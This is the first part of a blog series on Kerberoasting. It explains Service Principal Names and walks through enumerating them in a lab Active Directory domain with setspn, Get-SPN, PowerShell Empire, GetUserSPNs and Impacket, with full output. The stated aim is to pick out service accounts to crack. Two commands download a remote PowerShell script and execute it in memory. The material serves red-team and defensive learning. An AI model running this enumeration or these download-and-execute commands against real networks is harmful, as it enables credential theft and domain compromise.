Previous works: There has been a number of differnet blog posts, presentations and projects that have happened before this post and I will reference a number of them during the post and at the end have a link to all that I know about. If you know of any works on this subject that I am missing please submit a comment below and I’ll will be sure to reference it.

Attacker KB Link: (to be updated later)

Common Findings DB Link: (to be updated later)

What are SPNs

[Service Principal Names](https://msdn.microsoft.com/en-us/library/ms677949(v=vs.85).aspx) (SPNs) are:

a unique identifier of a service instance. SPNs are used by Kerberos authentication to associate a service instance with a service logon account.” - MSDN

Basically mapping a service running on a server to an account it’s running as so that it can do / accept kerberos authentication. Normally, these services, like “CIFS” (Windows Shares) run under the context of the computer account.

Why would they be associated with users?

I won’t say that this is the reason for the change, but for a long time Information Security professionals (and bad guys) have exploited the idea that services run as the all powerful “NT AUTHORITY\SYSTEM” account. For those who don’t know, this means that if someone exploits one of those services, they are basically ROOT on that machine in the Windows world.

One of the ways that Microsoft has enabled system administrators and software developers to step away from this paradigm is to create the [NT AUTHORITY\NETWORK SERVICE](https://msdn.microsoft.com/en-us/library/windows/desktop/ms684272(v=vs.85).aspx) and [NT AUTHORITY\LOCAL SERVICE](https://msdn.microsoft.com/en-us/library/windows/desktop/ms684188(v=vs.85).aspx) accounts. This allowed basic permissions and are great alternatives. However, these accounts, while perfectly limited, did not have any authentication abilities on the network. So, system administrators started using domain accounts to run services. This is where things go wrong again.

Yes, I know there is such a thing as [Managed Service Accounts](https://technet.microsoft.com/en-us/library/dd560633(v=ws.10).aspx) now (introduced in 2011 with a Windows Server 2008 R2 update) and spoiler alert, that’s the fix to the issue we will be discussing below and in the next few parts, but even MSAs have an issue that I’ll discuss in the last section of this series.

Why should I care?

Any valid domain user can request a kerberos ticket for any domain service (or even services outside the domain as long as there is a trust there). Once the ticket is received, password cracking can be done offline on the ticket to attempt to break the password for whatever user the service is running as. The users running these services usually are at the very least administrators on the computers for which they are a service on, but more commonly they are some sort of administrative account (Domain Admins).

Listing SPNs

Ok, so, now you know the background and why you want to do this attack, but how do we go about listing what SPNs are out there for the domain you are on. There are a ton of ways to do this:

  1. Just use the built in SetSPN.exe built into Windows
  2. Use the Get-SPN.ps1 that @_nullbind (Scott Sutherland) posted about on the NetSPI blog in a post titled Faster Domain Escalation using LDAP
  3. Use the PowerShell Empire port of @_nullbind’s Get-SPN powershell script
  4. Use Tim Medin - @timmedin’s GetUserSPNs VB script
  5. Use Tim Medin - @timmedin’s GetUserSPNs PowerShell script
  6. Use Impacket’s GetUserSPN.py - unlike the other tools and techniques, this one executes without the advantage of the Windows tokes, so you are going to need credentials, but this is also the advantage as you are not loading anything on disk or executing anything through the use of cmd.exe or powershell.exe

1. SetSPN

SetSPN is a tool built into Windows and will do that job perfectly just as Tim Medin describes in his presentation and Kerberoast Github repo:

C:\>setspn -t sittingduck -q */*
Checking domain DC=sittingduck,DC=info
CN=DC1,OU=Domain Controllers,DC=sittingduck,DC=info
        TERMSRV/DC1
        TERMSRV/DC1.sittingduck.info
        Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/DC1.sittingduck.info
        ldap/DC1.sittingduck.info/DomainDnsZones.sittingduck.info
        ldap/DC1.sittingduck.info/ForestDnsZones.sittingduck.info
        DNS/DC1.sittingduck.info
        GC/DC1.sittingduck.info/sittingduck.info
        RestrictedKrbHost/DC1.sittingduck.info
        RestrictedKrbHost/DC1
        RPC/ebee5e45-e3a3-481d-bf6c-29f3833e2392._msdcs.sittingduck.info
        HOST/DC1/SITTINGDUCK
        HOST/DC1.sittingduck.info/SITTINGDUCK
        HOST/DC1
        HOST/DC1.sittingduck.info
        HOST/DC1.sittingduck.info/sittingduck.info
        E3514235-4B06-11D1-AB04-00C04FC2DCD2/ebee5e45-e3a3-481d-bf6c-29f3833e2392/sittingduck.info
        ldap/DC1/SITTINGDUCK
        ldap/ebee5e45-e3a3-481d-bf6c-29f3833e2392._msdcs.sittingduck.info
        ldap/DC1.sittingduck.info/SITTINGDUCK
        ldap/DC1
        ldap/DC1.sittingduck.info
        ldap/DC1.sittingduck.info/sittingduck.info
CN=krbtgt,CN=Users,DC=sittingduck,DC=info
        kadmin/changepw
CN=Uber User,CN=Users,DC=sittingduck,DC=info
        http/win10.sittingduck.info
CN=WIN7,CN=Computers,DC=sittingduck,DC=info
        RestrictedKrbHost/WIN7
        HOST/WIN7
        RestrictedKrbHost/WIN7.sittingduck.info
        HOST/WIN7.sittingduck.info
CN=WIN2K8R2,OU=Domain Controllers,DC=sittingduck,DC=info
        TERMSRV/win2k8r2.sittingduck.info
        TERMSRV/WIN2K8R2
        ldap/WIN2K8R2
        ldap/win2k8r2.sittingduck.info
        ldap/win2k8r2.sittingduck.info/DomainDnsZones.sittingduck.info
        ldap/win2k8r2.sittingduck.info/ForestDnsZones.sittingduck.info
        ldap/win2k8r2.sittingduck.info/sittingduck.info
        ldap/win2k8r2.sittingduck.info/SITTINGDUCK
        ldap/cb4e0d50-5fc3-4900-9bc6-3d097d877ec4._msdcs.sittingduck.info
        ldap/WIN2K8R2/SITTINGDUCK
        HOST/win2k8r2.sittingduck.info/sittingduck.info
        GC/win2k8r2.sittingduck.info/sittingduck.info
        HOST/win2k8r2.sittingduck.info/SITTINGDUCK
        HOST/WIN2K8R2/SITTINGDUCK
        DNS/win2k8r2.sittingduck.info
        E3514235-4B06-11D1-AB04-00C04FC2DCD2/cb4e0d50-5fc3-4900-9bc6-3d097d877ec4/sittingduck.info
        Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/win2k8r2.sittingduck.info
        WSMAN/win2k8r2
        WSMAN/win2k8r2.sittingduck.info
        RestrictedKrbHost/WIN2K8R2
        HOST/WIN2K8R2
        RestrictedKrbHost/WIN2K8R2.sittingduck.info
        HOST/WIN2K8R2.sittingduck.info
CN=WIN10,CN=Computers,DC=sittingduck,DC=info
        RestrictedKrbHost/WIN10
        HOST/WIN10
        RestrictedKrbHost/win10.sittingduck.info
        HOST/win10.sittingduck.info
CN=CA,CN=Computers,DC=sittingduck,DC=info
        WSMAN/CA
        WSMAN/CA.sittingduck.info
        RestrictedKrbHost/CA
        HOST/CA
        RestrictedKrbHost/CA.sittingduck.info
        HOST/CA.sittingduck.info
CN=MSSQL Service Admin,CN=Users,DC=sittingduck,DC=info
        MSSQLSvc/WIN2K8R2.sittingduck.info

Existing SPN found!

Each line that starts with “CN” is an account” and the SPNs under it are the ones associated with that account. Lots of great information can be determined just from the output of this command. Even though for cracking purposes we only want the SPNs associated with possibly weak password accounts (usually only User accounts), we should still pull this information down.

Get-SPN

This module gives you a lot more information than SetSPN did. Having the PasswordLastSet and LastLogon helps to figure out when and if an account has ever been used. In the example below the “sqladmin01” account has never logged on and was created recently. If this password cracks then there is a good chance that it is some common password set when setting up accounts

Disclaimer: As of this writing, this module only works with PowerShell 3.0+

PS C:\> IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/
nullbind/Powershellery/master/Stable-ish/Get-SPN/Get-SPN.psm1")
PS C:\> Get-SPN -type service -search "MSSQL*"


Name            : MSSQL Service Admin
SAMAccount      : sqladmin01
Description     :
UserPrincipal   : sqladmin01@sittingduck.info
DN              : CN=MSSQL Service Admin,CN=Users,DC=sittingduck,DC=info
Created         : 5/13/2016 11:13:20 PM
LastModified    : 5/13/2016 11:13:28 PM
PasswordLastSet : 5/13/2016 7:13:20 PM
AccountExpires  : <Never>
LastLogon       : 12/31/1600 7:00:00 PM
GroupMembership :
SPN Count       : 1

ServicePrincipalNames (SPN):
MSSQLSvc/WIN2K8R2.sittingduck.info

PowerShell Empire

This module basically just incorporates the script from above.

Disclaimer: As of this writing, this module only works with PowerShell 3.0+

(Empire: situational_awareness/network/get_spn) > info

           Name: Get-SPN
         Module: situational_awareness/network/get_spn
     NeedsAdmin: False
      OpsecSafe: True
   MinPSVersion: 2
     Background: True
OutputExtension: None

Authors:
  @_nullbind

Description:
  Displays Service Principal Names (SPN) for domain accounts
  based on SPN service name, domain account, or domain group
  via LDAP queries.

Options:

  Name   Required    Value                     Description
  ----   --------    -------                   -----------
  Search False       MSSQL*                    Search string for group, username, or
                                               service name. Wildcards accepted.
  Type   False       service                   'group', 'user', or 'service'
  Agent  True                                  Agent to run module on.

(Empire: situational_awareness/network/get_spn) >

Listing User SPNs

GetUserSPNs.vbs

GetUserSPNs was the first script to focus only on accounts that were Users. When you are looking at a network that has 40,000+ Windows boxes and all of the has the “HOST” SPN, it’s a lot to trudge through. This script cuts the fat and just gives you the list of SPNs that have a much higher chance of having their accounts cracked.

C:\temp> cscript GetUserSPNs.vbs
Microsoft (R) Windows Script Host Version 5.8
Copyright (C) Microsoft Corporation. All rights reserved.

CN=Uber User,CN=Users,DC=sittingduck,DC=info
User Logon: uberuser
-- http/win10.sittingduck.info

CN=krbtgt,CN=Users,DC=sittingduck,DC=info
User Logon: krbtgt
-- kadmin/changepw

CN=MSSQL Service Admin,CN=Users,DC=sittingduck,DC=info
User Logon: sqladmin01
-- MSSQLSvc/WIN2K8R2.sittingduck.info

GetUserSPNs.ps1

I really like this script because it tells you the time the password was last set. This allows for you to make educated selections on which accounts to attack with your password cracking. (More hashes needed to crack, the longer it takes)

Below I use the IEX (Invoke-Expression) command in PowerShell to download and run the PowerShell script directly from Tim’s repository, but you could just as easily upload it and run it.

PS C:\> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercon
tent.com/nidem/kerberoast/master/GetUserSPNs.ps1')

ServicePrincipalNam Name                MemberOf            PasswordLastSet
e
------------------- ----                --------            ---------------
http/win10.sitti... Uber User           CN=Domain Admins... 11/10/2015 11:47...
kadmin/changepw     krbtgt              CN=Denied RODC P... 11/10/2015 6:18:...
MSSQLSvc/WIN2K8R... MSSQL Service Admin                     5/13/2016 7:13:2...

Impacket

Impacket is a recent addition to the list of tools that perform SPN listing. Pull request #153 - TGS-Response code to work with windows AD was all it took to motivate @agsolino into making an example script and while PyKerberoast by @skelsec came first, it doesn’t have a plain “list” function so I wanted to save it for the extraction post.

root@wpad:~/impacket/examples# ./GetUserSPNs.py -dc-ip 192.168.168.10 sittingduck.info/notanadmin
Impacket v0.9.15-dev - Copyright 2002-2016 Core Security Technologies

Password:
ServicePrincipalName                Name        MemberOf                                          PasswordLastSet
----------------------------------  ----------  ------------------------------------------------  -------------------
http/win10.sittingduck.info         uberuser    CN=Domain Admins,CN=Users,DC=sittingduck,DC=info  2015-11-10 23:47:21
MSSQLSvc/WIN2K8R2.sittingduck.info  sqladmin01                                                    2016-05-13 19:13:20

And that is it for now. We have listed all of the SPNs or just the ones we needed. In Part 2 we will make requests for the SPN tickets we want.

References:

Tools

Presentations

Other write ups